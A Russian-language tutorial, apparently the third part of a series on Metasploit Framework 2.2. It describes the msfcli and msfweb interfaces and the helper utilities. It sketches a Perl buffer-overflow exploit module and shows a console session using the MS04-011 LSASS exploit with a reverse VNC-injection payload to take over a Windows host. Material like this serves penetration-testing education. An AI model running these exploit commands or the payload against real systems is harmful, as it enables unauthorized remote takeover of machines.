В двух предыдущих частях (часть первая, часть вторая) этой серии статей мы обсуждали гибкость и простоту использования Metasploit Framework конечным пользователем. Продвигаясь дальше, мы охватим дополнительные детали использования и сделаем краткое описание MSF с точки зрения разработчика. Версия Framework 2.2 была выпущена в августе 2004, и ее большой потенциал был показан на конференциях Blackhat 2004 и Defcon 12, где наблюдался полностью заполненный зал во время выступления H.D. Moore и Spoonm.
В двух предыдущих частях (часть первая, часть вторая) этой серии статей мы обсуждали гибкость и простоту использования Metasploit Framework конечным пользователем. Продвигаясь дальше, мы охватим дополнительные детали использования и сделаем краткое описание MSF с точки зрения разработчика. Версия Framework 2.2 была выпущена в августе 2004, и ее большой потенциал был показан на конференциях Blackhat 2004 и Defcon 12, где наблюдался полностью заполненный зал во время выступления H.D. Moore и Spoonm.
Предыдущая статья описывала главный интерфейс MSF, и теперь мы продолжим описание обзором других интерфейсов Framework. Затем мы продвинемся дальше и опишем последние возможности, доступные в версии 2.2. И наконец, мы завершим статью сделав краткое введение в процесс разработки эксплойтов с помощью Framework. Мы опишем такие возможности как инъекция VNC DLL и другие.action_code может принимать следующие значения:
S - резюмеКоманды могут быть сохранены и загружены во время запуска. Это позволяет настраивать различные параметры глобального окружения.
Сначала воспользуемся командой ./msfcli, чтобы вывести список доступных эксплойтов. Обратите внимание, что вывод такой же, как и у команды show exploits.Полная информация об определенном эксплойте может быть получена с помощью команды ./msfcli exploit_name S, где exploit_name это имя выбранного эксплойта, как это показано на Рисунке 1.
Тем же способом можно отобразить список доступных шелкодов, просто изменив action_code и выполнив команду ./msfcli exploit_name P.
Теперь мы может установить шелкод для эксплойта с помощью команды ./msfcli exploit_name Payload=payload_name 0, где payload_name это имя шелкода. Чтобы просмотреть и установить любые расширенные опции, которые могут быть у эксплойта, мы воспользуемся командой ./msfcli exploit_name Payload=payload_name A. Таким же образом команда ./msfcli exploit_name PAYLOAD=payload_name T выведет доступные цели, а команда ./msfcli exploit_name PAYLOAD=payload_name T 0 выберет первое значение.Во второй части этой статьи, мы показывали процесс исполнения эксплойта msrpc_dcom_ms03_026, используя msfconsole. Он также может быть исполнен через интерфейс msfcli, выполнением единственной команды: ./msfcli msrpc_dcom_ms03_026 PAYLOAD=winbind RHOST=192.168.0.27 LPORT=1536 TARGET=0 E.
Следовательно, интерфейс msfcli обеспечивает все функциональные возможности и особенности msfconsole через одну команду, выполняющую всю работу.Интерфейс msfweb обеспечивает полную функциональность MSF через простой в использовании веб интерфейс. Этот интерфейс имеет свой собственный веб сервер, по умолчанию запущенный на порту 55555. Этот сервер имеет ограниченные возможности и никак не защищен, поэтому вы сами должны обеспечить безопасный доступ к нему. Однако по умолчанию он принимает только loopback соединения, что ограничивает его пригодность. Это может быть изменено для любого адрес:порт с помощью опции -a. После соединения с сервером на главной странице отображается список доступных эксплойтов. Пользователь может выбрать эксплойт простым кликом мыши на соответствующей ссылке.
После выбора эксплойта, следующая веб страница показывает информацию об эксплойте. Клик мышки на кнопке 'Select Payload' откроет страницу, на которой перечислены доступные шелкоды. Выберите шелкод, и следующая страница покажет различные опции, которые нужно указать, такие как RPORT, RHOST и т.д. Две кнопки внизу страницы, называющиеся 'Vulnerability Check' и 'Launch Exploit' используются соответственно для проверки RHOST на наличие уязвимости или запуска эксплойта, как это показано на Рисунке 2.Версия MSF 2.2 полностью перепроектирована и включает в себя много новых возможностей. Для облегчения процесса создания эксплойтов и плагинов был создан набор вспомогательных утилит.
Базовые модули эксплойтов, шелкодов, кодеров и nop генераторов были расширены и значительно доработаны. Библиотеки обеспечивают абстракцию от интерфейса пользователя, модулей кодирования, генерации nop'ов и обработки шелкодов, а также общедоступного API окружения.Присутствует также поддержка Pex Library, полностью автономной платформы для разработки эксплойтов с такими возможностями как генерация nop'ов, поддержка протоколов сокетов Raw IP, SSL, Proxy, MSSQL SMB, DCERPC и многими другими. Теперь давайте перейдем к детальному описанию этих усовершенствований.
Значимость новых утилит становится очевидной сразу после начала их использования.
Msfpescan может использоваться для анализа и дизассемблирования исполняемых файлов и DLL, что помогает находить правильные смещения и адреса на стадии эксплойтирования и поднятия привилегий. Эта утилита может искать jmp команды или последовательности типа pop-pop-ret, а также она поддерживает регулярные выражения. Это может быть полезно для поиска эффективных адресов возврата в разных версиях Windows и таким образом может использоваться для добавления новых целей для эксплойта.Ниже показаны различные флаги командной строки:
Использование: /home/framework-2.2/msfpescan <ввод> <режим> <опции> Вводы: -f <файл> Читать из PE файла -d <директория> Обработать вывод memdump Режимы: -j <регистр> Поиск команд переходов -s Поиск комбинаций pop+pop+ret -x <рег. выражение> Поиск по регулярному выражению -a <адрес> Показать код по указанному виртуальному адресу Опции: -A <число> Количество байт после найденного соответствия, которые нужно показать -B <число> Количество байт до найденного соответствия, которые нужно показать -I <адрес> Указать альтернативное значение ImageBase -n Вывести дизассемблированный листинг соответствующих данныхMsfdldebug можно использовать для загрузки отладочных символов из файлов
Msfpayload и msfpayload.cgi могут использоваться для генерации стандартных шелкодов через командный и CGI интерфейс, соответственно.
Msfencode - полезный кодер шелкодов с интерфейсом командной строки.Msflogdump отображает логи сессий с цветным выделением.
Msfupdate удобная утилита для проверки и загрузки новых релизов MSF.Использование: /home/framework-2.2/msfupdate [опции] Опции: -v Отображает версию -u Произвести обновления через metasploit.com -s Отображает информацию об обновлениях, ничего не загружая -m Показать все локальные файлы измененные со времени последнего обновления -a Перезаписывать все файлы без подтверждения -x Не требуется подтверждение для не-SSL обновления -f Полностью отключить поддержку SSL, используйте вместе с -x для избежания предупреждений
Модули (эксплойты, шелкоды, кодеры и генераторы nop'ов) это основа всех функциональных возможностей Metasploit. Коллекция эксплойтов сама по себе может осчастливить любого испытателя на проникновение. Шелкоды способны выполнять различные сложные операции, начиная с инъекции DLL (win32_bind_dllinject, win32_reverse_dllinject) и заканчивая запуском VNC сервера (win32_bind_vncinject, win32_reverse_vncinject) на эксплойтируемом хосте. Демонстрациями этого, представленными авторами Metasploit, в течение презентации сильно восхищались находящиеся в аудитории слушатели.
Metasploit Framework через модули поддерживает массу утилит третьих производителей. Мы вкратце расскажем о принципах их взаимодействия с MSF, а для более подробной информации вы можете обратиться к официальным сайтам этих утилит.InlineEgg это утилита для создания ассемблерного кода средствами Python. Эти ассемблерные команды могут использоваться для создания эффективных шелкодов для эксплойтов. MSF имеет интерфейс для InlineEgg шелкодов, использующий модуль ExternalPayload. В последнем релизе MSF есть примеры использования этого модуля: linx86_reverse_ie, linux86_bind_ie (создает командную оболочку) и linux86_reverse_xor (зашифрован методом XOR). В случае выбора шелкода, он динамически создается в реальном времени с помощью набора Python скриптов. Для Windows также есть InlineEgg шелкод - win32_reverse_stg_ie. У этого шелкода есть переменная IEGG, определяющая путь к InlineEgg скрипту на языке Python, содержащему шелкод.
Impurity обеспечивает удобный в использовании интерфейс для разработки шелкодов на C, результат работы которого может быть помещен в память как исполняемый ELF образ. MSF имеет загрузчик (только для Linux) для исполняемых файлов Impurity, названный linx86_reverse_impurity и требующий установки пути к исполняемому файлу в переменную PEXEC.UploadExec позволяет загрузить любой исполняемый Win32 файл на эксплойтируемый хост и запустить его. Представьте себе запущенный интерпретатор Perl на удаленном Windows компьютере.
Набор различных кодеров (XOR, алфавитно-цифровой и т.д.) помогает пользователю создать эксплойт в таком виде, в каком он хочет его видеть. С другой стороны, Framework может проделать эту работу за вас.Процесс разработки эксплойтов хорошо описан в документации к последней версии MSF 2.2, которая находится в директории 'sdk'. Поэтому в этом разделе мы просто разобьем процесс разработки на простые этапы, и дадим их краткое описание.
Первый этап начинается с анализа уязвимости и попытки использования этой уязвимости для наших целей. Metasploit Framework имеет наибольший потенциал для разработки сетевых эксплойтов, которые являются наиболее сложными в реализации.Предположим, что в сетевом демоне обнаружено переполнение буфера. Первое что нужно сделать, это найти адрес возврата. Теперь пришло время для этапа исследования и изучения, который, к сожалению, все еще проходит методом проб и ошибок. Мы локально эмулируем уязвимость, отправкой большого количества данных, для того чтобы переполнить буфер. Для этого в MSF есть TCP модуль, который мы будем использовать для создания сокета и отправки данных. Функция PatternCreate библиотеки Pex, может использоваться для отсылки образцов данных указанной длинны для срабатывания уязвимости. Одновременно мы следим за уязвимым процессом, чтобы определить, где произошла ошибка сегментации (segfault). Мы передаем это смещение в скрипт patternOffset.pl, который находится в директории sdk, для поиска адреса возврата.
Теперь дополним исходный эксплойт, созданный в предыдущем шаге, добавив смещения, дополнения и другую важную информацию типа DCEFragSize.Затем мы устанавливаем опции относящиеся к шелкоду, такие как Space (размер шелкода), BadChars (все символы, которые могут испортить шелкод) и MinNops. Далее мы опишем список целей.
Главная задача состоит в инициализации и создании подпрограммы эксплойтирования, которая соберет необходимую информацию, используя вышеупомянутые, установленные пользователем значения и выполнит заключительный этап эксплойтирования.sub new { #Стандартный код my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { #Критический код: Подпрограмма эксплойтирования my $self = shift; my $targetHost = $self->GetVar('RHOST'); #Получение значений от # пользователя используя GetVar my $targetPort = $self->GetVar('RPORT'); my $targetIndex = $self->GetVar('TARGET'); my $DCEFragSize = $self->GetVar('FragSize') || 1024; my $target = $self->Targets->[$targetIndex]; my $ret = $target->[1]; #Кодирования шелкода в соответствии со значением #переменной глобального окружения EncodedPayload my $encodedPayload = $self->GetVar('EncodedPayload'); my $shellcode = $encodedPayload->Payload; my $sock = Msf::Socket::Tcp->new #Подпрограмма работы с сокетом. Установка протоколо-зависимых опций. #Используйте функции библиотеки Socket для поддержки различных протоколов. #Raw сокеты также поддерживаются. { 'PeerAddr' => $targetHost, 'PeerPort' => $targetPort, 'LocalPort'=> $self->GetVar('CPORT'), ... } #Установка расширенных опций, используя GetLocal для получения опций, #установленных кодером эксплойта, а не конечным пользователем. #Опции пользователя получены с помощью GetVar. my $tosend = 'A' x $self->GetLocal('PreRetLength'); #AAAAAA... PreRetLength раз. Назовем это 'tosend' $tosend .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4); #Добавляем к 'tosend' адрес возврата RetLength раз. $tosend .= $shellcode; #Теперь добавляем шелкод. #Теперь у нас есть законченный запрос, включающий шелкод, адрес возврата, #и данные для переполнения. Мы сделали это! $sock->Send($tosend); # Скажем уязвимому приложению "привет" return; } 1; #Вы должны закончить эксплойт этим.Это был краткий обзор структуры кода эксплойта, того какие компоненты должны быть определены, как обработать данные от пользователя и другие аспекты, связанные с эксплойтами. Кроме стандартного набора возможностей, есть много расширенных опций и библиотек, которые могут использоваться для разработки эксплойтов с необычными функциональными возможностями. Для их использования нужно быть подготовленным пользователем.
Также хороши функциональные возможности Raw сокетов, имеющих поддержку протоколов IP, TCP, UDP и ICMP и различных опций, таких как создания пакета с несколькими обратными адресами и адресами получателя, и различные настройки для групп пакетов. Обратите внимание, эти возможность не доступны на Windows платформах.
Параметр DCEFragSize может быть использован для установки размера фрагментов DCE RCP пакетов, что может эффективно применяться для обхода средств контроля сетевого доступа. В качестве примера этого можно привести эксплойт msrpc_dcom_ms03_026.Внедрение DLL в процесс позволяет нам внедрить и выполнить нашу DLL как отдельный поток в памяти, никак не используя физические носители данных на компьютере жертвы. Это может быть использовано с любым Win32 эксплойтом.
Добавим еще специй, Framework предоставляет VNC сервер как отдельную DLL, которая может использоваться для управления компьютером жертвы через графический интерфейс. Этот шелкод, загруженный как DLL и запущенный в новом потоке, можно использовать для получения полного доступа к рабочему столу на удаленной Windows системе. С скомпрометированной системы можно будет ожидать запросов клиента через тот же сокет, который использовался для загрузки шелкода. Клиент подключается с использованием прокси, через локальный слушающий сокет, созданный MSF. После двух попыток получения полного доступа к рабочему столу, DLL шелкод переключается в режим только для чтения, при котором пользователь может только просматривать содержимое рабочего стола. DLL шелкод также создает на рабочем столе командную оболочку с привилегиями эксплойтируемого процесса, которые часто являются полным доступом к Windows машине с правами администратора.Что использовать эту возможность, пользователь сначала должен выбрать шелкод для эксплойта, win32_bind_vncinject или win32_reverse_vcinject и использовать в качестве цели Windows хост.
Теперь продемонстрируем это, используя MS04-011 LSASS уязвимость, как показано ниже:msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject PAYLOAD -> win32_reverse_vncinject msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 192.168.0.111 RHOST -> 192.168.0.111 msf lsass_ms04_011(win32_reverse_vncinject) > set NBNAME CUBECS NBNAME -> CUBECS msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 192.168.0.50 LHOST -> 192.168.0.50 msf lsass_ms04_011(win32_reverse_vncinject) > exploit [*] Starting Reverse Handler. [*] Detected a Windows 2000 target [*] Sending 8 DCE request fragments... [*] Sending the final DCE fragment [*] Got connection from 192.168.0.111:1146 [*] Sending Stage (2893 bytes) [*] Sleeping before sending dll. [*] Uploading dll to memory (348160), Please wait... [*] VNC proxy listening on port 5900... VNC server supports protocol version 3.3 (viewer 3.3) No authentication needed Desktop name "VNCShell [SYSTEM@CUBECS] - Full Access" Connected to VNC server, using protocol version 3.3 VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using shared memory PutImage Same machine: preferring raw encoding ShmCleanup called [*] VNC proxy finished [*] Exiting Reverse Handler.Как показано на Рисунке 3, в этом примере мы получили полный GUI доступ к удаленной Windows системе (CUBECS) с Linux компьютера.
Первое — находим постоянно, второе — ждем вас